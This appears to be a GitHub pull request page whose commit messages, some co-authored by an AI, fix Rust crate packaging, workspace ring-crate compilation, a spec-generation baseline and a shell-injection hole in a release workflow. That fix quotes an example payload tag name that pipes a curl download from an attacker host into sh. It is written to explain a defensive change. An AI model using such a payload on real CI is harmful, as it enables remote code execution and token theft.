fix(t27c): the generated memory modules live inside the crate src/memory/mod.rs included them from ../../../gen/, outside the package. Cargo cannot put a file outside the package into the tarball, so `cargo publish` got as far as compiling the packaged crate and died on couldn't read `src/memory/../../../gen/rust/memory/formula_embed.rs` Both files are small, generated from .t27 specs, and nothing else in the tree referenced those paths. They move to src/memory/generated/ and the regeneration command in the comment moves with them. Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(now): release pipeline product gate and rehearsal Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(workspace): rings/ was in neither members nor exclude, so none of them compiled Seventeen ring crates sit under rings/ring-*-rust and, exactly like `ffi`, are listed in neither `workspace.members` nor `workspace.exclude`. Every `cargo check` in them died on manifest load: error: current package believes it's in a workspace when it's not This was invisible because rings-rust.yml is path-filtered and one of its paths is the root `Cargo.toml`. Nothing had touched that file in a long time, so the workflow had not run, and "not failing" was reading as "passing". Editing Cargo.toml for the release fix woke all seventeen at once. With `rings` excluded, sixteen compile. The seventeenth had a real defect that had never been reachable: ring-094 assigned `task.state = TaskState::Failed` and dropped the task out of the queue on the next line, so the write was dead and `#![deny(warnings)]` refused it. Removed -- behaviour is identical. If an expired task is meant to be RECORDED as failed rather than forgotten, that is a change to what the function does and wants deciding on purpose. rings compiling: 0 of 17 -> 17 of 17 t27c suite unchanged at 2424 passed / 0 failed. Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(release): the tag name reaches the shell through env, not interpolation `${{ github.event.release.tag_name }}` was interpolated straight into two `run:` blocks. A tag name is attacker-controlled text, and interpolated there it IS shell: a release tagged $(curl evil.sh|sh) executes it on a runner holding CRATES_TOKEN, NODE_AUTH_TOKEN and ZENODO_TOKEN. It comes through `env:` now, where the shell sees a variable and never a substitution. The Untrusted Input gate caught this on the commit that introduced it, which is the gate working. The two remaining interpolations are in `concurrency: group:`, which is not a shell context. Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(specs-generate): drop the ledger line for a path that no longer exists, and 45 that now generate Removing the broken symlink at bootstrap/bootstrap/specs/physics/formula_registry.t27 took its ledger line's subject with it, and the gate said exactly the right thing: They did not start generating -- they left the measured set, which reads as progress in the count below and is not. Drop their ledger lines in the same commit that removes them, deliberately. Done. The gate also had a standing NOTE that 46 baselined specs now generate -- one of them specs/ar/asp_solver.t27, whose unclosed bracket was fixed in #2742. Those lines are removed too, so the gate holds them from here: specs_generate_baseline.txt: 151 lines -> 105 OK: 716 specs, 613 generate, 103 known-broken This gate demonstrated its own control in the process: it caught a real change of mine on the commit that made it, and named the repair. Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 <noreply@anthropic.com>

gHashTag added 2 commits August 14, 2026 19:25

This was referenced Aug 14, 2026

bootstrap: accept pub const Name(T) = struct as a parameterised type declaration #2168

Merged

ci: eleven merge-critical gates were silent on stacked PRs #2169

Merged

gHashTag mentioned this pull request Aug 14, 2026

loop: the differential tool counted unmeasured files as agreement #2170

Merged

gHashTag added a commit that referenced this pull request Aug 27, 2026

docs/now: the draft release was never published (Refs #2161)

52e8ab9

gHashTag added a commit that referenced this pull request Aug 27, 2026

CHANGELOG: the module-level var fix belongs to 0.2.0 (Refs #2161) (#2732

1d04ae1

) * CHANGELOG: the module-level var fix belongs to 0.2.0 (Refs #2161) * docs/now: the draft release was never published (Refs #2161)

gHashTag mentioned this pull request Aug 27, 2026

parser + gen-rust: hyphenated use paths, and a module-level var is static mut (Refs #2161) #2733

Merged

gHashTag mentioned this pull request Aug 27, 2026

gen-c: an un-annotated local takes its type from the initialiser (Refs #2161) #2734

Merged

This was referenced Aug 27, 2026

tests: a missing input skips loudly instead of failing into a baseline (Refs #2161) #2739

Merged

parser: a forall no longer takes its checkable neighbours with it (Refs #2161) #2740

Merged

gHashTag mentioned this pull request Aug 27, 2026

CHANGELOG: the eight later fixes belong to 0.2.0 (Refs #2161) #2741

Merged

gHashTag added a commit that referenced this pull request Aug 27, 2026

CHANGELOG: the eight later fixes belong to 0.2.0 (Refs #2161) (#2741)

9fa5eed

gHashTag mentioned this pull request Aug 27, 2026

Five parser and instrument defects, and the 73 Lean disagreements that were reporting as 1 #2742

Merged

gHashTag mentioned this pull request Aug 28, 2026

The seal gate never checked the four hashes it exists to check #2746

Merged

gHashTag mentioned this pull request Aug 28, 2026

Answer "nothing to check" before "the tool is missing" #2750

Merged

gHashTag mentioned this pull request Aug 28, 2026

The release pipeline published the wrong product, unsequenced, and could not package t27c #2753

Merged

Navigation Menu

corpus: freeze the damage, patch one class at a time, and say where one rule stops - #2161

corpus: freeze the damage, patch one class at a time, and say where one rule stops#2161
gHashTag wants to merge 2 commits into
masterfrom
w699-damage-classes

gHashTag commented Aug 14, 2026

Uh oh!

gHashTag commented Aug 14, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

Conversation

gHashTag commented Aug 14, 2026

What the tools do

The mechanism

The split, which is the result

Double validation

Two units, because a hypothesis of mine was wrong

A third defect, visible only after the first two were fixed

Re-run differential

Fixtures, tested rather than assumed

Not claimed

Uh oh!

gHashTag commented Aug 14, 2026

Disclosure: this stacked PR is NOT gate-equivalent to a master-based one

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant